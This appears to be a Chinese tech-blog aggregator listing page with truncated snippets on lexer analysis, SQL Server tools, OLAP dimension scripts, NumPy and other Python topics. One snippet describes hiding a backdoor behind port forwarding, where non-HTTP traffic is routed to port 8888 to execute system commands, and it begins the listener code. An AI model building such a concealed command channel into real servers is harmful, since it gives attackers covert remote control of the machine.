搜索到与相关的文章
各行各业

第二人生的源码分析(104)脚本的词法分析(2)

接着上一次,再来分析flex文件的下一部份:规则部份。它们由一连串带有代码的正则表达式组成,当匹配相对应的正则表达式时,这些代码就会被运行。下面就一段规则的代码:#001%%这行表示规则代码开始。#002"//"{gInternalLine++;gInternalColumn=0;comment();}这里使用“//”来表注释一行代码。#003#004"integer"{count();return(INTEGER);}这里识别关键字integer为整数据

系统 2019-08-12 01:32:43 2306

数据库相关

sqldiag 工具

“sqldiag”是一款诊断工具,你可以用它收集各种SQLServer服务的诊断信息。它的初衷是为微软公司的支持工程师使用的,但是你可能也会发现它收集的信息对你诊断问题也是有帮助的。“Sqldiag”默认情况下会把收集到的信息写到文件中,保存到名为“SQLDIAG”的文件夹中,该文件夹被自动创建在文件“sqldiag.exe”所在路径同级目录(比如:C:\ProgramFiles\MicrosoftSQLServer\100\Tools\binn\SQLD

系统 2019-08-12 01:32:40 2306

数据库相关

Sqlcmd 使用

Sqlcmd是SQLServer2005所带的一个命令行工具。它是用于执行SQL脚本和替代上一个版本SQLServer的osql工具。除了执行SQL代码,它也执行所谓的“sqlcmd扩展”。这些扩展提供了许多普通SQL之外的功能,使得sqlcmd成为用脚本自动化SQLServer数据库管理和维护的一个好用的工具。本文将介绍使用sqlcmd的基本方法,并提供一些它在SQLServer管理和维护中的实践方法。从命令行提示窗口中以交互模式启动sqlcmd命令。当

系统 2019-08-12 01:32:40 2306

数据库相关

分享OLAP的时间维度设计语句

时间维度在OLAP中是很常用,我们一般分为日期维度和时刻维度组成。我整理了如何生成他们的语句如下1)日期维度[Dim_Date]ViewCodeIFEXISTS(select*FROMsys.objectsWHEREobject_id=OBJECT_ID(N'[dbo].[Dim_Date]')ANDtypein(N'U'))Droptable[dbo].[Dim_Date]GOCREATETABLE[dbo].[Dim_Date](DateKey[int

系统 2019-08-12 01:32:38 2306

Python

python基于socket进行端口转发实现后门隐藏的示例

思想:用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。8888端口监听代码:#!/usr/bin/envpythonfromsocketimport*importosHOST='127.0.0.1'PORT=8888BUFSIZE=1024ADDR=(HOST,PORT)tcpSerSock=socket(AF_INET,SOCK_STREAM)tcpSerSock.s

系统 2019-09-27 17:56:51 2305

Python

Python爬虫小白入门指南,成为大牛必须经历的三个阶段

学习任何一门技术,都应该带着目标去学习,目标就像一座灯塔,指引你前进,很多人学着学着就学放弃了,很大部分原因是没有明确目标,所以,一定要明确学习目的,在你准备学爬虫前,先问问自己为什么要学习爬虫。有些人是为了一份工作,有些人是为了好玩,也有些人是为了实现某个黑科技功能。不过可以肯定的是,学会了爬虫能给你的工作提供很多便利。小白入门必读作为零基础小白,大体上可分为三个阶段去实现。第一阶段是入门,掌握必备基础知识,比如Python基础、网络请求的基本原理等;第

系统 2019-09-27 17:54:54 2305

Python

PythonI/O进阶学习笔记_5.python的set和dict

前言:我一直觉得对我来说学习知识很忌讳不系统。本篇内容与上一篇自定义序列类是有联系的。上一篇比较通范的了解了序列类的一些协议和特性,并且有些list的内容。这篇更加具体到set和dict这两个序列类。以此来了解python序列类的具体应用。(这篇比较简单)(感觉具体比抽象都更容易理解,但是也要学会思考把具体对象抽象化来表达,即提取共性)content:1.dict在abc中的序列类型和继承关系2.dict实现了的常用方法3.我可不可以继承dict这种序列类

系统 2019-09-27 17:54:41 2305

Python

Python在信息学竞赛中的运用及Python的基本用法(详解)

前言众所周知,Python是一种非常实用的语言。但是由于其运算时的低效和解释型编译,在信息学竞赛中并不用于完成算法程序。但正如LRJ在《算法竞赛入门经典-训练指南》中所说的一样,如果会用Python,在进行一些小程序的编写,如数据生成器时将会非常方便,它的语法决定了其简约性。本文主要介绍一下简单的Python用法,不会深入。Python的安装和实用Linux(以Ubuntu系统为例)一般的Linux都自带了Python,在命令行中输入Python即可进入如

系统 2019-09-27 17:54:00 2305

Python

Python学习四:Python for ArcGIS学习笔记

一、优点:(1):容易上手;(2):易于部署到ArcGIS中;(3):批处理具有优势;二、学习方向:(1)自定义工具箱;(2)Add-In插件;三、自定义工具箱:1、.tbx工具箱:(1)创建一个工具箱(TestToolbox):目录>我的工具箱>新建>工具箱(X)(2)添加一个脚本(TestTool):TestToolbox>添加>脚本(S)(3)配置.py文件信息:选择使用相对路径,设置匹配参数,项目描述里编辑使用说明,导入脚本并设置密码。(4)共享:

系统 2019-09-27 17:53:20 2305

Python

Python中Numpy ndarray的使用详解

本文主讲Python中Numpy数组的类型、全0全1数组的生成、随机数组、数组操作、矩阵的简单运算、矩阵的数学运算。尽管可以用python中list嵌套来模拟矩阵,但使用Numpy库更方便。定义数组>>>importnumpyasnp>>>m=np.array([[1,2,3],[2,3,4]])#定义矩阵,int64>>>marray([[1,2,3],[2,3,4]])>>>m=np.array([[1,2,3],[2,3,4]],dtype=np.f

系统 2019-09-27 17:50:51 2305